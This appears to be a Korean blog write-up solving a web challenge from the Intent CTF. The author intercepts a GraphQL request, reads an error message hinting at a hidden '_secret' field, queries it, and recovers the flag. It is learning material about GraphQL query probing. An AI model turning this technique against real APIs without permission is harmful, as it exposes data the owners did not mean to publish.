당신의 문제는 무엇입니까?
당신의 "소중한" CTF에서 내 아름답고 혁신적인 페이지를 어떻게 승인하지 않았습니까?
모든 작업이 완료되었습니다. 아마도 나는 그래픽을 추가할 수 있을 것입니다.
해당 URL에 접속할 경우 다음과 같이 강의 시간표 같은 항목을 확인할 수 있습니다.
그 외에는 별다른 내용이 없기에 웹 프록시툴을 사용하여 패킷을 잡아 확인해 보았습니다.
POST /api/v1/ HTTP/2
Host: graphics.chal.intentsummit.org
Cookie: intent-ctf-session=2a914d13fe5006489d427bf984179053
Content-Length: 149
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://graphics.chal.intentsummit.org
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://graphics.chal.intentsummit.org/
Accept-Encoding: gzip, deflate
Accept-Language: he-IL,he;q=0.9,en-US;q=0.8,en;q=0.7
{"operationName":"ExampleQuery","variables":{},"query":"query ExampleQuery {\n talks {\n time\n title\n speaker\n __typename\n }\n}\n"}
몇번의 검색을 통해 밑에 있는 구문이 GQL이라는 것을 알아냈고 이문제는 GQL을 이용하는 문제임을 알게 되었습니다.
{"errors":[{"message":"Cannot query field \"secret\" on type \"Query\". Did you mean \"_secret\"?","extensions":{"code":"GRAPHQL_VALIDATION_FAILED","exception":{"stacktrace":["GraphQLError: Cannot query field \"secret\" on type \"Query\". Did you mean \"_secret\"?"," at Object.Field (/usr/src/app/node_modules/graphql/validation/rules/FieldsOnCorrectTypeRule.js:48:31)"," at Object.enter (/usr/src/app/node_modules/graphql/language/visitor.js:323:29)"," at Object.enter (/usr/src/app/node_modules/graphql/utilities/TypeInfo.js:370:25)"," at visit (/usr/src/app/node_modules/graphql/language/visitor.js:243:26)"," at validate (/usr/src/app/node_modules/graphql/validation/validate.js:69:24)"," at validate (/usr/src/app/node_modules/apollo-server/node_modules/apollo-server-core/dist/requestPipeline.js:185:39)"," at processGraphQLRequest (/usr/src/app/node_modules/apollo-server/node_modules/apollo-server-core/dist/requestPipeline.js:90:34)"," at processTicksAndRejections (node:internal/process/task_queues:96:5)"," at async processHTTPRequest (/usr/src/app/node_modules/apollo-server/node_modules/apollo-server-core/dist/runHttpQuery.js:187:30)"]}}}]}
query injection을 시도한 결과 'secret'이 의심스러워 보입니다.
{"operationName":"ExampleQuery","variables":{},"query":"query ExampleQuery { _secret { flag } }\n"}
이를 이용하여 쿼리를 재구성 해 보았습니다.
그 결과 INTENT{d1d_y0u_m34n_flag}를 획득할 수 있었습니다.
GraphQL에 대한 자세한 내용은 https://ravidusash.tistory.com/148 이곳에서 다루도록 하겠습니다.
'Challenge > CTF' 카테고리의 다른 글
[DefCamp CTF 21-22] para-code (0) | 2022.02.15 |
---|---|
[DefCamp CTF 21-22] web-intro (0) | 2022.02.15 |
[Intent CTF] Etulosba (0) | 2021.11.25 |
[Intent CTF] Careers (0) | 2021.11.22 |
[Intent CTF] Door (un)Locked (0) | 2021.11.22 |